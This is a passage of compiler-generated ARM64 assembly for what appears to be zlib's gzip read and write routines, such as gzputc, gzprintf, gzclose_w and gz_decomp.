ldr x1, [x0]
str x1, [sp, 72]
mov x1, 0
ldr x0, [sp, 24]
cmp x0, 0
bne .L69
mov w0, -1
str w0, [sp, 32]
b .L70
.L69:
ldr x0, [sp, 24]
str x0, [sp, 48]
ldr x0, [sp, 48]
add x0, x0, 112
str x0, [sp, 56]
ldr x0, [sp, 48]
ldr w1, [x0, 24]
mov w0, 31153
cmp w1, w0
beq .L71
mov w0, -1
str w0, [sp, 32]
b .L70
.L71:
ldr x0, [sp, 48]
ldr w0, [x0, 100]
cmp w0, 0
beq .L72
mov w0, -1
str w0, [sp, 32]
b .L70
.L72:
ldr x0, [sp, 48]
ldr w0, [x0, 96]
cmp w0, 0
beq .L73
ldr x0, [sp, 48]
str wzr, [x0, 96]
ldr x0, [sp, 48]
ldr w0, [x0, 92]
mov w1, w0
ldr x0, [sp, 48]
bl gz_zero
str w0, [sp, 36]
ldr w0, [sp, 36]
cmn w0, #1
bne .L73
mov w0, -1
str w0, [sp, 32]
b .L70
.L73:
ldr x0, [sp, 56]
ldr w1, [x0, 8]
ldr x0, [sp, 48]
ldr w0, [x0, 40]
cmp w1, w0
bcs .L74
ldr x0, [sp, 56]
ldr w0, [x0, 8]
cmp w0, 0
bne .L75
ldr x0, [sp, 48]
ldr x1, [x0, 48]
ldr x0, [sp, 56]
str x1, [x0]
.L75:
ldr x0, [sp, 56]
ldr w0, [x0, 8]
str w0, [sp, 44]
ldr x0, [sp, 56]
ldr w0, [x0, 8]
add w1, w0, 1
ldr x0, [sp, 56]
str w1, [x0, 8]
ldr x0, [sp, 56]
ldr x1, [x0]
ldr w0, [sp, 44]
add x0, x1, x0
ldr w1, [sp, 20]
and w1, w1, 255
strb w1, [x0]
ldr x0, [sp, 48]
ldr w0, [x0, 16]
add w1, w0, 1
ldr x0, [sp, 48]
str w1, [x0, 16]
ldr w0, [sp, 20]
and w0, w0, 255
str w0, [sp, 32]
b .L70
.L74:
ldr w0, [sp, 20]
and w0, w0, 255
strb w0, [sp, 64]
add x0, sp, 64
mov w2, 1
mov x1, x0
ldr x0, [sp, 24]
bl gzwrite
str w0, [sp, 40]
ldr w0, [sp, 40]
cmp w0, 1
beq .L76
mov w0, -1
str w0, [sp, 32]
b .L70
.L76:
ldr w0, [sp, 20]
and w0, w0, 255
str w0, [sp, 32]
.L70:
ldr w0, [sp, 32]
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 72]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L78
bl __stack_chk_fail
.L78:
mov w0, w1
ldp x29, x30, [sp], 80
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE4:
.size gzputc, .-gzputc
.align 2
.global gzputs
.type gzputs, %function
gzputs:
.LFB5:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 24]
str x1, [sp, 16]
ldr x0, [sp, 16]
bl strlen
str w0, [sp, 40]
ldr w2, [sp, 40]
ldr x1, [sp, 16]
ldr x0, [sp, 24]
bl gzwrite
str w0, [sp, 44]
ldr w0, [sp, 44]
cmp w0, 0
bne .L80
ldr w0, [sp, 40]
cmp w0, 0
beq .L81
mov w0, -1
str w0, [sp, 36]
b .L82
.L81:
ldr w0, [sp, 44]
str w0, [sp, 36]
b .L82
.L80:
ldr w0, [sp, 44]
str w0, [sp, 36]
.L82:
ldr w0, [sp, 36]
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE5:
.size gzputs, .-gzputs
.align 2
.global gzprintf
.type gzprintf, %function
gzprintf:
.LFB6:
.cfi_startproc
stp x29, x30, [sp, -320]!
.cfi_def_cfa_offset 320
.cfi_offset 29, -320
.cfi_offset 30, -312
mov x29, sp
str x0, [sp, 56]
str x1, [sp, 48]
str x2, [sp, 272]
str x3, [sp, 280]
str x4, [sp, 288]
str x5, [sp, 296]
str x6, [sp, 304]
str x7, [sp, 312]
str q0, [sp, 144]
str q1, [sp, 160]
str q2, [sp, 176]
str q3, [sp, 192]
str q4, [sp, 208]
str q5, [sp, 224]
str q6, [sp, 240]
str q7, [sp, 256]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 136]
mov x1, 0
ldr x0, [sp, 56]
cmp x0, 0
bne .L85
mov w0, -1
str w0, [sp, 64]
b .L86
.L85:
ldr x0, [sp, 56]
str x0, [sp, 88]
ldr x0, [sp, 88]
add x0, x0, 112
str x0, [sp, 96]
ldr x0, [sp, 88]
ldr w1, [x0, 24]
mov w0, 31153
cmp w1, w0
beq .L87
str wzr, [sp, 64]
b .L86
.L87:
ldr x0, [sp, 88]
ldr w0, [x0, 100]
cmp w0, 0
beq .L88
str wzr, [sp, 64]
b .L86
.L88:
ldr x0, [sp, 88]
ldr w0, [x0, 40]
cmp w0, 0
bne .L89
ldr x0, [sp, 88]
bl gz_init
str w0, [sp, 68]
ldr w0, [sp, 68]
cmn w0, #1
bne .L89
str wzr, [sp, 64]
b .L86
.L89:
ldr x0, [sp, 88]
ldr w0, [x0, 96]
cmp w0, 0
beq .L90
ldr x0, [sp, 88]
str wzr, [x0, 96]
ldr x0, [sp, 88]
ldr w0, [x0, 92]
mov w1, w0
ldr x0, [sp, 88]
bl gz_zero
str w0, [sp, 72]
ldr w0, [sp, 72]
cmn w0, #1
bne .L90
str wzr, [sp, 64]
b .L86
.L90:
ldr x0, [sp, 96]
ldr w0, [x0, 8]
cmp w0, 0
beq .L91
mov w1, 0
ldr x0, [sp, 88]
bl gz_comp
str w0, [sp, 76]
ldr w0, [sp, 76]
cmn w0, #1
bne .L91
str wzr, [sp, 64]
b .L86
.L91:
ldr x0, [sp, 88]
ldr w0, [x0, 40]
str w0, [sp, 80]
ldr x0, [sp, 88]
ldr x1, [x0, 48]
ldrsw x0, [sp, 80]
sub x0, x0, #1
add x0, x1, x0
strb wzr, [x0]
add x0, sp, 320
str x0, [sp, 104]
add x0, sp, 320
str x0, [sp, 112]
add x0, sp, 272
str x0, [sp, 120]
mov w0, -48
str w0, [sp, 128]
mov w0, -128
str w0, [sp, 132]
ldr x0, [sp, 88]
ldr x4, [x0, 48]
ldr w5, [sp, 80]
add x0, sp, 16
add x1, sp, 104
ldp q0, q1, [x1]
stp q0, q1, [x0]
add x0, sp, 16
mov x3, x0
ldr x2, [sp, 48]
mov w1, w5
mov x0, x4
bl vsnprintf
str w0, [sp, 84]
ldr w0, [sp, 84]
cmp w0, 0
bgt .L92
str wzr, [sp, 64]
b .L86
.L92:
ldr w1, [sp, 84]
ldr w0, [sp, 80]
cmp w1, w0
blt .L93
str wzr, [sp, 64]
b .L86
.L93:
ldr x0, [sp, 88]
ldr x1, [x0, 48]
ldrsw x0, [sp, 80]
sub x0, x0, #1
add x0, x1, x0
ldrb w0, [x0]
cmp w0, 0
beq .L94
str wzr, [sp, 64]
b .L86
.L94:
ldr w1, [sp, 84]
ldr x0, [sp, 96]
str w1, [x0, 8]
ldr x0, [sp, 88]
ldr x1, [x0, 48]
ldr x0, [sp, 96]
str x1, [x0]
ldr x0, [sp, 88]
ldr w1, [x0, 16]
ldr w0, [sp, 84]
add w1, w1, w0
ldr x0, [sp, 88]
str w1, [x0, 16]
ldr w0, [sp, 84]
str w0, [sp, 64]
.L86:
ldr w0, [sp, 64]
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 136]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L96
bl __stack_chk_fail
.L96:
mov w0, w1
ldp x29, x30, [sp], 320
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE6:
.size gzprintf, .-gzprintf
.align 2
.global gzflush
.type gzflush, %function
gzflush:
.LFB7:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 24]
str w1, [sp, 20]
ldr x0, [sp, 24]
cmp x0, 0
bne .L98
mov w0, -1
str w0, [sp, 32]
b .L99
.L98:
ldr x0, [sp, 24]
str x0, [sp, 40]
ldr x0, [sp, 40]
ldr w1, [x0, 24]
mov w0, 31153
cmp w1, w0
beq .L100
mov w0, -2
str w0, [sp, 32]
b .L99
.L100:
ldr x0, [sp, 40]
ldr w0, [x0, 100]
cmp w0, 0
beq .L101
mov w0, -2
str w0, [sp, 32]
b .L99
.L101:
ldr w0, [sp, 20]
cmp w0, 0
bge .L102
mov w0, -2
str w0, [sp, 32]
b .L99
.L102:
ldr w0, [sp, 20]
cmp w0, 4
ble .L103
mov w0, -2
str w0, [sp, 32]
b .L99
.L103:
ldr x0, [sp, 40]
ldr w0, [x0, 96]
cmp w0, 0
beq .L104
ldr x0, [sp, 40]
str wzr, [x0, 96]
ldr x0, [sp, 40]
ldr w0, [x0, 92]
mov w1, w0
ldr x0, [sp, 40]
bl gz_zero
str w0, [sp, 36]
ldr w0, [sp, 36]
cmn w0, #1
bne .L104
mov w0, -1
str w0, [sp, 32]
b .L99
.L104:
ldr w1, [sp, 20]
ldr x0, [sp, 40]
bl gz_comp
ldr x0, [sp, 40]
ldr w0, [x0, 100]
str w0, [sp, 32]
.L99:
ldr w0, [sp, 32]
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE7:
.size gzflush, .-gzflush
.align 2
.global gzsetparams
.type gzsetparams, %function
gzsetparams:
.LFB8:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
str x0, [sp, 24]
str w1, [sp, 20]
str w2, [sp, 16]
ldr x0, [sp, 24]
cmp x0, 0
bne .L107
mov w0, -2
str w0, [sp, 36]
b .L108
.L107:
ldr x0, [sp, 24]
str x0, [sp, 48]
ldr x0, [sp, 48]
add x0, x0, 112
str x0, [sp, 56]
ldr x0, [sp, 48]
ldr w1, [x0, 24]
mov w0, 31153
cmp w1, w0
beq .L109
mov w0, -2
str w0, [sp, 36]
b .L108
.L109:
ldr x0, [sp, 48]
ldr w0, [x0, 100]
cmp w0, 0
beq .L110
mov w0, -2
str w0, [sp, 36]
b .L108
.L110:
ldr x0, [sp, 48]
ldr w0, [x0, 84]
ldr w1, [sp, 20]
cmp w1, w0
bne .L111
ldr x0, [sp, 48]
ldr w0, [x0, 88]
ldr w1, [sp, 16]
cmp w1, w0
bne .L111
str wzr, [sp, 36]
b .L108
.L111:
ldr x0, [sp, 48]
ldr w0, [x0, 96]
cmp w0, 0
beq .L112
ldr x0, [sp, 48]
str wzr, [x0, 96]
ldr x0, [sp, 48]
ldr w0, [x0, 92]
mov w1, w0
ldr x0, [sp, 48]
bl gz_zero
str w0, [sp, 40]
ldr w0, [sp, 40]
cmn w0, #1
bne .L112
mov w0, -1
str w0, [sp, 36]
b .L108
.L112:
ldr x0, [sp, 48]
ldr w0, [x0, 40]
cmp w0, 0
beq .L113
ldr x0, [sp, 56]
ldr w0, [x0, 8]
cmp w0, 0
beq .L114
mov w1, 1
ldr x0, [sp, 48]
bl gz_comp
str w0, [sp, 44]
ldr w0, [sp, 44]
cmn w0, #1
bne .L114
ldr x0, [sp, 48]
ldr w0, [x0, 100]
str w0, [sp, 36]
b .L108
.L114:
ldr w2, [sp, 16]
ldr w1, [sp, 20]
ldr x0, [sp, 56]
bl deflateParams
.L113:
ldr x0, [sp, 48]
ldr w1, [sp, 20]
str w1, [x0, 84]
ldr x0, [sp, 48]
ldr w1, [sp, 16]
str w1, [x0, 88]
str wzr, [sp, 36]
.L108:
ldr w0, [sp, 36]
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE8:
.size gzsetparams, .-gzsetparams
.align 2
.global gzclose_w
.type gzclose_w, %function
gzclose_w:
.LFB9:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
str x0, [sp, 24]
str wzr, [sp, 40]
ldr x0, [sp, 24]
cmp x0, 0
bne .L117
mov w0, -2
str w0, [sp, 36]
b .L118
.L117:
ldr x0, [sp, 24]
str x0, [sp, 56]
ldr x0, [sp, 56]
ldr w1, [x0, 24]
mov w0, 31153
cmp w1, w0
beq .L119
mov w0, -2
str w0, [sp, 36]
b .L118
.L119:
ldr x0, [sp, 56]
ldr w0, [x0, 96]
cmp w0, 0
beq .L120
ldr x0, [sp, 56]
str wzr, [x0, 96]
ldr x0, [sp, 56]
ldr w0, [x0, 92]
mov w1, w0
ldr x0, [sp, 56]
bl gz_zero
str w0, [sp, 44]
ldr w0, [sp, 44]
cmn w0, #1
bne .L120
ldr x0, [sp, 56]
ldr w0, [x0, 100]
str w0, [sp, 40]
.L120:
ldr x0, [sp, 56]
ldr w0, [x0, 40]
cmp w0, 0
beq .L121
mov w1, 4
ldr x0, [sp, 56]
bl gz_comp
str w0, [sp, 48]
ldr w0, [sp, 48]
cmn w0, #1
bne .L122
ldr x0, [sp, 56]
ldr w0, [x0, 100]
str w0, [sp, 40]
.L122:
ldr x0, [sp, 56]
ldr w0, [x0, 64]
cmp w0, 0
bne .L123
ldr x0, [sp, 56]
add x0, x0, 112
bl deflateEnd
ldr x0, [sp, 56]
ldr x0, [x0, 56]
bl free
.L123:
ldr x0, [sp, 56]
ldr x0, [x0, 48]
bl free
.L121:
mov x2, 0
mov w1, 0
ldr x0, [sp, 56]
bl gz_error
ldr x0, [sp, 56]
ldr x0, [x0, 32]
bl free
ldr x0, [sp, 56]
ldr w0, [x0, 28]
bl close
str w0, [sp, 52]
ldr w0, [sp, 52]
cmn w0, #1
bne .L124
mov w0, -1
str w0, [sp, 40]
.L124:
ldr x0, [sp, 56]
bl free
ldr w0, [sp, 40]
str w0, [sp, 36]
.L118:
ldr w0, [sp, 36]
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE9:
.size gzclose_w, .-gzclose_w
.align 2
.type gz_load, %function
gz_load:
.LFB10:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
str x0, [sp, 40]
str x1, [sp, 32]
str w2, [sp, 28]
str x3, [sp, 16]
ldr x0, [sp, 16]
str wzr, [x0]
.L130:
ldr x0, [sp, 40]
ldr w3, [x0, 28]
ldr x0, [sp, 16]
ldr w0, [x0]
uxtw x0, w0
ldr x1, [sp, 32]
add x4, x1, x0
ldr x0, [sp, 16]
ldr w0, [x0]
ldr w1, [sp, 28]
sub w0, w1, w0
mov w2, w0
mov x1, x4
mov w0, w3
bl read
str w0, [sp, 52]
ldr w0, [sp, 52]
cmp w0, 0
ble .L135
ldr x0, [sp, 16]
ldr w1, [x0]
ldr w0, [sp, 52]
add w1, w1, w0
ldr x0, [sp, 16]
str w1, [x0]
ldr x0, [sp, 16]
ldr w0, [x0]
ldr w1, [sp, 28]
cmp w1, w0
bls .L136
b .L130
.L135:
nop
b .L128
.L136:
nop
.L128:
ldr w0, [sp, 52]
cmp w0, 0
bge .L131
adrp x0, __FC_errno
add x0, x0, :lo12:__FC_errno
ldr w0, [x0]
bl strerror
str x0, [sp, 56]
ldr x2, [sp, 56]
mov w1, -1
ldr x0, [sp, 40]
bl gz_error
mov w0, -1
str w0, [sp, 48]
b .L132
.L131:
ldr w0, [sp, 52]
cmp w0, 0
bne .L133
ldr x0, [sp, 40]
mov w1, 1
str w1, [x0, 76]
.L133:
str wzr, [sp, 48]
.L132:
ldr w0, [sp, 48]
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE10:
.size gz_load, .-gz_load
.align 2
.type gz_avail, %function
gz_avail:
.LFB11:
.cfi_startproc
stp x29, x30, [sp, -96]!
.cfi_def_cfa_offset 96
.cfi_offset 29, -96
.cfi_offset 30, -88
mov x29, sp
str x0, [sp, 24]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 88]
mov x1, 0
ldr x0, [sp, 24]
add x0, x0, 112
str x0, [sp, 64]
ldr x0, [sp, 24]
ldr w0, [x0, 100]
cmp w0, 0
beq .L138
ldr x0, [sp, 24]
ldr w0, [x0, 100]
cmn w0, #5
beq .L138
mov w0, -1
str w0, [sp, 36]
b .L139
.L138:
ldr x0, [sp, 24]
ldr w0, [x0, 76]
cmp w0, 0
bne .L140
ldr x0, [sp, 64]
ldr w0, [x0, 8]
cmp w0, 0
beq .L141
ldr x0, [sp, 24]
ldr x0, [x0, 48]
str x0, [sp, 48]
ldr x0, [sp, 64]
ldr x0, [x0]
str x0, [sp, 56]
ldr x0, [sp, 64]
ldr w0, [x0, 8]
str w0, [sp, 40]
.L143:
ldr x0, [sp, 48]
str x0, [sp, 72]
ldr x0, [sp, 48]
add x0, x0, 1
str x0, [sp, 48]
ldr x0, [sp, 56]
str x0, [sp, 80]
ldr x0, [sp, 56]
add x0, x0, 1
str x0, [sp, 56]
ldr x0, [sp, 80]
ldrb w1, [x0]
ldr x0, [sp, 72]
strb w1, [x0]
ldr w0, [sp, 40]
sub w0, w0, #1
str w0, [sp, 40]
ldr w0, [sp, 40]
cmp w0, 0
beq .L147
b .L143
.L147:
nop
.L141:
ldr x0, [sp, 24]
ldr x1, [x0, 48]
ldr x0, [sp, 64]
ldr w0, [x0, 8]
uxtw x0, w0
add x4, x1, x0
ldr x0, [sp, 24]
ldr w1, [x0, 40]
ldr x0, [sp, 64]
ldr w0, [x0, 8]
sub w0, w1, w0
add x1, sp, 32
mov x3, x1
mov w2, w0
mov x1, x4
ldr x0, [sp, 24]
bl gz_load
str w0, [sp, 44]
ldr w0, [sp, 44]
cmn w0, #1
bne .L144
mov w0, -1
str w0, [sp, 36]
b .L139
.L144:
ldr x0, [sp, 64]
ldr w1, [x0, 8]
ldr w0, [sp, 32]
add w1, w1, w0
ldr x0, [sp, 64]
str w1, [x0, 8]
ldr x0, [sp, 24]
ldr x1, [x0, 48]
ldr x0, [sp, 64]
str x1, [x0]
.L140:
str wzr, [sp, 36]
.L139:
ldr w0, [sp, 36]
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 88]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L146
bl __stack_chk_fail
.L146:
mov w0, w1
ldp x29, x30, [sp], 96
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE11:
.size gz_avail, .-gz_avail
.align 2
.type gz_look, %function
gz_look:
.LFB12:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
str x0, [sp, 24]
ldr x0, [sp, 24]
add x0, x0, 112
str x0, [sp, 56]
ldr x0, [sp, 24]
ldr w0, [x0, 40]
cmp w0, 0
bne .L149
ldr x0, [sp, 24]
ldr w0, [x0, 44]
bl malloc
mov x1, x0
ldr x0, [sp, 24]
str x1, [x0, 48]
ldr x0, [sp, 24]
ldr w0, [x0, 44]
lsl w0, w0, 1
bl malloc
mov x1, x0
ldr x0, [sp, 24]
str x1, [x0, 56]
ldr x0, [sp, 24]
ldr x0, [x0, 48]
cmp x0, 0
beq .L162
ldr x0, [sp, 24]
ldr x0, [x0, 56]
cmp x0, 0
bne .L152
b .L151
.L162:
nop
.L151:
ldr x0, [sp, 24]
ldr x0, [x0, 56]
cmp x0, 0
beq .L153
ldr x0, [sp, 24]
ldr x0, [x0, 56]
bl free
.L153:
ldr x0, [sp, 24]
ldr x0, [x0, 48]
cmp x0, 0
beq .L154
ldr x0, [sp, 24]
ldr x0, [x0, 48]
bl free
.L154:
adrp x0, .LC0
add x2, x0, :lo12:.LC0
mov w1, -4
ldr x0, [sp, 24]
bl gz_error
mov w0, -1
str w0, [sp, 44]
b .L155
.L152:
ldr x0, [sp, 24]
ldr w1, [x0, 44]
ldr x0, [sp, 24]
str w1, [x0, 40]
ldr x0, [sp, 24]
str xzr, [x0, 176]
ldr x0, [sp, 24]
str xzr, [x0, 184]
ldr x0, [sp, 24]
str xzr, [x0, 192]
ldr x0, [sp, 24]
str wzr, [x0, 120]
ldr x0, [sp, 24]
str xzr, [x0, 112]
ldr x0, [sp, 24]
add x4, x0, 112
mov w3, 112
adrp x0, .LC1
add x2, x0, :lo12:.LC1
mov w1, 31
mov x0, x4
bl inflateInit2_
str w0, [sp, 48]
ldr w0, [sp, 48]
cmp w0, 0
beq .L149
ldr x0, [sp, 24]
ldr x0, [x0, 56]
bl free
ldr x0, [sp, 24]
ldr x0, [x0, 48]
bl free
ldr x0, [sp, 24]
str wzr, [x0, 40]
adrp x0, .LC0
add x2, x0, :lo12:.LC0
mov w1, -4
ldr x0, [sp, 24]
bl gz_error
mov w0, -1
str w0, [sp, 44]
b .L155
.L149:
ldr x0, [sp, 56]
ldr w0, [x0, 8]
cmp w0, 1
bhi .L156
ldr x0, [sp, 24]
bl gz_avail
str w0, [sp, 52]
ldr w0, [sp, 52]
cmn w0, #1
bne .L157
mov w0, -1
str w0, [sp, 44]
b .L155
.L157:
ldr x0, [sp, 56]
ldr w0, [x0, 8]
cmp w0, 0
bne .L156
str wzr, [sp, 44]
b .L155
.L156:
ldr x0, [sp, 56]
ldr w0, [x0, 8]
cmp w0, 1
bls .L158
ldr x0, [sp, 56]
ldr x0, [x0]
ldrb w0, [x0]
cmp w0, 31
bne .L158
ldr x0, [sp, 56]
ldr x0, [x0]
add x0, x0, 1
ldrb w0, [x0]
cmp w0, 139
bne .L158
ldr x0, [sp, 56]
bl inflateReset
ldr x0, [sp, 24]
mov w1, 2
str w1, [x0, 68]
ldr x0, [sp, 24]
str wzr, [x0, 64]
str wzr, [sp, 44]
b .L155
.L158:
ldr x0, [sp, 24]
ldr w0, [x0, 64]
cmp w0, 0
bne .L159
ldr x0, [sp, 56]
str wzr, [x0, 8]
ldr x0, [sp, 24]
mov w1, 1
str w1, [x0, 76]
ldr x0, [sp, 24]
str wzr, [x0]
str wzr, [sp, 44]
b .L155
.L159:
ldr x0, [sp, 24]
ldr x1, [x0, 56]
ldr x0, [sp, 24]
str x1, [x0, 8]
ldr x0, [sp, 56]
ldr w0, [x0, 8]
cmp w0, 0
beq .L160
ldr x0, [sp, 24]
ldr x3, [x0, 8]
ldr x0, [sp, 56]
ldr x1, [x0]
ldr x0, [sp, 56]
ldr w0, [x0, 8]
mov w2, w0
mov x0, x3
bl memcpy
ldr x0, [sp, 56]
ldr w1, [x0, 8]
ldr x0, [sp, 24]
str w1, [x0]
ldr x0, [sp, 56]
str wzr, [x0, 8]
.L160:
ldr x0, [sp, 24]
mov w1, 1
str w1, [x0, 68]
ldr x0, [sp, 24]
mov w1, 1
str w1, [x0, 64]
str wzr, [sp, 44]
.L155:
ldr w0, [sp, 44]
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE12:
.size gz_look, .-gz_look
.section .rodata
.align 3
.LC4:
.string "unexpected end of file"
.align 3
.LC5:
.string "internal error: inflate stream corrupt"
.align 3
.LC6:
.string "compressed data error"
.text
.align 2
.type gz_decomp, %function
gz_decomp:
.LFB13:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
str x0, [sp, 24]
str wzr, [sp, 36]
ldr x0, [sp, 24]
add x0, x0, 112
str x0, [sp, 56]
ldr x0, [sp, 56]
ldr w0, [x0, 32]
str w0, [sp, 40]
.L177:
ldr x0, [sp, 56]
ldr w0, [x0, 8]
cmp w0, 0
bne .L164
ldr x0, [sp, 24]
bl gz_avail
str w0, [sp, 44]
ldr w0, [sp, 44]
cmn w0, #1
bne .L164
mov w0, -1
str w0, [sp, 32]
b .L165
.L164:
ldr x0, [sp, 56]
ldr w0, [x0, 8]
cmp w0, 0
bne .L166
adrp x0, .LC4
add x2, x0, :lo12:.LC4
mov w1, -5
ldr x0, [sp, 24]
bl gz_error
b .L167
.L166:
mov w1, 0
ldr x0, [sp, 56]
bl inflate
str w0, [sp, 36]
ldr w0, [sp, 36]
cmn w0, #2
beq .L180
ldr w0, [sp, 36]
cmp w0, 2
bne .L170
b .L169
.L180:
nop
.L169:
adrp x0, .LC5
add x2, x0, :lo12:.LC5
mov w1, -2
ldr x0, [sp, 24]
bl gz_error
mov w0, -1
str w0, [sp, 32]
b .L165
.L170:
ldr w0, [sp, 36]
cmn w0, #4
bne .L171
adrp x0, .LC0
add x2, x0, :lo12:.LC0
mov w1, -4
ldr x0, [sp, 24]
bl gz_error
mov w0, -1
str w0, [sp, 32]
b .L165
.L171:
ldr w0, [sp, 36]
cmn w0, #3
bne .L172
ldr x0, [sp, 56]
ldr x0, [x0, 48]
cmp x0, 0
bne .L173
adrp x0, .LC6
add x0, x0, :lo12:.LC6
str x0, [sp, 48]
b .L174
.L173:
ldr x0, [sp, 56]
ldr x0, [x0, 48]
str x0, [sp, 48]
.L174:
ldr x2, [sp, 48]
mov w1, -3
ldr x0, [sp, 24]
bl gz_error
mov w0, -1
str w0, [sp, 32]
b .L165
.L172:
ldr x0, [sp, 56]
ldr w0, [x0, 32]
cmp w0, 0
beq .L181
ldr w0, [sp, 36]
cmp w0, 1
beq .L182
b .L177
.L181:
nop
b .L167
.L182:
nop
.L167:
ldr x0, [sp, 56]
ldr w0, [x0, 32]
ldr w1, [sp, 40]
sub w1, w1, w0
ldr x0, [sp, 24]
str w1, [x0]
ldr x0, [sp, 56]
ldr x1, [x0, 24]
ldr x0, [sp, 24]
ldr w0, [x0]
uxtw x0, w0
neg x0, x0
add x1, x1, x0
ldr x0, [sp, 24]
str x1, [x0, 8]
ldr w0, [sp, 36]
cmp w0, 1
bne .L178
ldr x0, [sp, 24]
str wzr, [x0, 68]
.L178:
str wzr, [sp, 32]
.L165:
ldr w0, [sp, 32]
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE13:
.size gz_decomp, .-gz_decomp
.align 2
.type gz_fetch, %function
gz_fetch:
.LFB14:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
str x0, [sp, 24]
ldr x0, [sp, 24]
add x0, x0, 112
str x0, [sp, 56]
.L195:
ldr x0, [sp, 24]
ldr w0, [x0, 68]
cmp w0, 2
beq .L184
cmp w0, 2
bgt .L185
cmp w0, 0
beq .L186
cmp w0, 1
beq .L187
b .L185
.L186:
ldr x0, [sp, 24]
bl gz_look
str w0, [sp, 52]
ldr w0, [sp, 52]
cmn w0, #1
bne .L188
mov w0, -1
str w0, [sp, 40]
b .L189
.L188:
ldr x0, [sp, 24]
ldr w0, [x0, 68]
cmp w0, 0
bne .L197
str wzr, [sp, 40]
b .L189
.L187:
ldr x0, [sp, 24]
ldr x1, [x0, 56]
ldr x0, [sp, 24]
ldr w0, [x0, 40]
lsl w0, w0, 1
ldr x2, [sp, 24]
mov x3, x2
mov w2, w0
ldr x0, [sp, 24]
bl gz_load
str w0, [sp, 48]
ldr w0, [sp, 48]
cmn w0, #1
bne .L191
mov w0, -1
str w0, [sp, 40]
b .L189
.L191:
ldr x0, [sp, 24]
ldr x1, [x0, 56]
ldr x0, [sp, 24]
str x1, [x0, 8]
str wzr, [sp, 40]
b .L189
.L184:
ldr x0, [sp, 24]
ldr w0, [x0, 40]
lsl w1, w0, 1
ldr x0, [sp, 56]
str w1, [x0, 32]
ldr x0, [sp, 24]
ldr x1, [x0, 56]
ldr x0, [sp, 56]
str x1, [x0, 24]
ldr x0, [sp, 24]
bl gz_decomp
str w0, [sp, 44]
ldr w0, [sp, 44]
cmn w0, #1
bne .L185
mov w0, -1
str w0, [sp, 40]
b .L189
.L197:
nop
.L185:
ldr x0, [sp, 24]
ldr w0, [x0]
cmp w0, 0
bne .L198
ldr x0, [sp, 24]
ldr w0, [x0, 76]
cmp w0, 0
beq .L195
ldr x0, [sp, 56]
ldr w0, [x0, 8]
cmp w0, 0
beq .L199
b .L195
.L198:
nop
b .L194
.L199:
nop
.L194:
str wzr, [sp, 40]
.L189:
ldr w0, [sp, 40]
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE14:
.size gz_fetch, .-gz_fetch
.align 2
.type gz_skip, %function
gz_skip:
.LFB15:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 24]
str w1, [sp, 20]
b .L201
.L211:
ldr x0, [sp, 24]
ldr w0, [x0]
cmp w0, 0
beq .L202
ldr x0, [sp, 24]
ldr w0, [x0]
cmp w0, 0
bge .L213
ldr w0, [sp, 20]
str w0, [sp, 40]
b .L204
.L213:
nop
.L205:
ldr x0, [sp, 24]
ldr w0, [x0]
ldr w1, [sp, 20]
cmp w1, w0
bcs .L206
